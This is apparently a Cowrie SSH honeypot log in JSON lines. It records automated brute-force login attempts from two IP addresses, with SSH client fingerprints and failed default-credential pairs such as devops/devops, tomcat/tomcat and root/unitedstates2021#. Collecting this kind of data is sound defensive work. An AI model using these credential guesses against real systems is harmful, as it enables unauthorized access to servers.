{"eventid":"cowrie.login.failed","username":"app","password":"app","message":"login attempt [app/app] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:34.730067Z","src_ip":"5.196.136.131","session":"0f1501903f89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:35.808267Z","src_ip":"5.196.136.131","session":"0f1501903f89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":9617,"dst_ip":"10.17.0.5","dst_port":22,"session":"4121a7a4d66c","protocol":"ssh","message":"New connection: 5.196.136.131:9617 (10.17.0.5:22) [session: 4121a7a4d66c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:38.755972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:38.758573Z","src_ip":"5.196.136.131","session":"4121a7a4d66c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:38.833303Z","src_ip":"5.196.136.131","session":"4121a7a4d66c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"user2","message":"login attempt [user2/user2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:39.058528Z","src_ip":"5.196.136.131","session":"4121a7a4d66c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:40.136389Z","src_ip":"5.196.136.131","session":"4121a7a4d66c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":51873,"dst_ip":"10.17.0.5","dst_port":22,"session":"3eed49513836","protocol":"ssh","message":"New connection: 5.196.136.131:51873 (10.17.0.5:22) [session: 3eed49513836]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:43.314617Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:43.317621Z","src_ip":"5.196.136.131","session":"3eed49513836","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:43.393628Z","src_ip":"5.196.136.131","session":"3eed49513836","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"devops","message":"login attempt [devops/devops] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:43.669201Z","src_ip":"5.196.136.131","session":"3eed49513836","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:44.748194Z","src_ip":"5.196.136.131","session":"3eed49513836","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":38540,"dst_ip":"10.17.0.5","dst_port":22,"session":"05e26b29500c","protocol":"ssh","message":"New connection: 5.196.136.131:38540 (10.17.0.5:22) [session: 05e26b29500c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:47.763260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:47.766590Z","src_ip":"5.196.136.131","session":"05e26b29500c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:47.843386Z","src_ip":"5.196.136.131","session":"05e26b29500c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearch","message":"login attempt [elasticsearch/elasticsearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:48.071655Z","src_ip":"5.196.136.131","session":"05e26b29500c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:49.149392Z","src_ip":"5.196.136.131","session":"05e26b29500c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.29.232.118","src_port":39206,"dst_ip":"10.17.0.5","dst_port":22,"session":"519280e1de09","protocol":"ssh","message":"New connection: 202.29.232.118:39206 (10.17.0.5:22) [session: 519280e1de09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:49.505703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:49.509102Z","src_ip":"202.29.232.118","session":"519280e1de09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:49.764439Z","src_ip":"202.29.232.118","session":"519280e1de09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2021#","message":"login attempt [root/unitedstates2021#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:50.527570Z","src_ip":"202.29.232.118","session":"519280e1de09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:51.780229Z","src_ip":"202.29.232.118","session":"519280e1de09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":49635,"dst_ip":"10.17.0.5","dst_port":22,"session":"ccb55e3da395","protocol":"ssh","message":"New connection: 5.196.136.131:49635 (10.17.0.5:22) [session: ccb55e3da395]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:52.151756Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:52.154686Z","src_ip":"5.196.136.131","session":"ccb55e3da395","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:52.229635Z","src_ip":"5.196.136.131","session":"ccb55e3da395","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"sonar","message":"login attempt [sonar/sonar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:52.456902Z","src_ip":"5.196.136.131","session":"ccb55e3da395","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:53.534985Z","src_ip":"5.196.136.131","session":"ccb55e3da395","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":20022,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7e08fd92c05","protocol":"ssh","message":"New connection: 5.196.136.131:20022 (10.17.0.5:22) [session: c7e08fd92c05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:56.530185Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:56.533626Z","src_ip":"5.196.136.131","session":"c7e08fd92c05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:56.612015Z","src_ip":"5.196.136.131","session":"c7e08fd92c05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"tomcat","message":"login attempt [tomcat/tomcat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:56.843835Z","src_ip":"5.196.136.131","session":"c7e08fd92c05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:57.923120Z","src_ip":"5.196.136.131","session":"c7e08fd92c05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":14048,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f9d6158b6fb","protocol":"ssh","message":"New connection: 5.196.136.131:14048 (10.17.0.5:22) [session: 8f9d6158b6fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:01.068994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:01.071845Z","src_ip":"5.196.136.131","session":"8f9d6158b6fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:01.155154Z","src_ip":"5.196.136.131","session":"8f9d6158b6fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"student","message":"login attempt [student/student] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:01.406817Z","src_ip":"5.196.136.131","session":"8f9d6158b6fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:02.492624Z","src_ip":"5.196.136.131","session":"8f9d6158b6fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":30387,"dst_ip":"10.17.0.5","dst_port":22,"session":"185a06d41422","protocol":"ssh","message":"New connection: 5.196.136.131:30387 (10.17.0.5:22) [session: 185a06d41422]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:05.550594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:05.554847Z","src_ip":"5.196.136.131","session":"185a06d41422","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:05.635306Z","src_ip":"5.196.136.131","session":"185a06d41422","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"demo","password":"demo","message":"login attempt [demo/demo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:05.870070Z","src_ip":"5.196.136.131","session":"185a06d41422","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:06.950972Z","src_ip":"5.196.136.131","session":"185a06d41422","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":16536,"dst_ip":"10.17.0.5","dst_port":22,"session":"34ce266ea33a","protocol":"ssh","message":"New connection: 5.196.136.131:16536 (10.17.0.5:22) [session: 34ce266ea33a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:09.879032Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:09.882532Z","src_ip":"5.196.136.131","session":"34ce266ea33a","protocol":"ssh"}
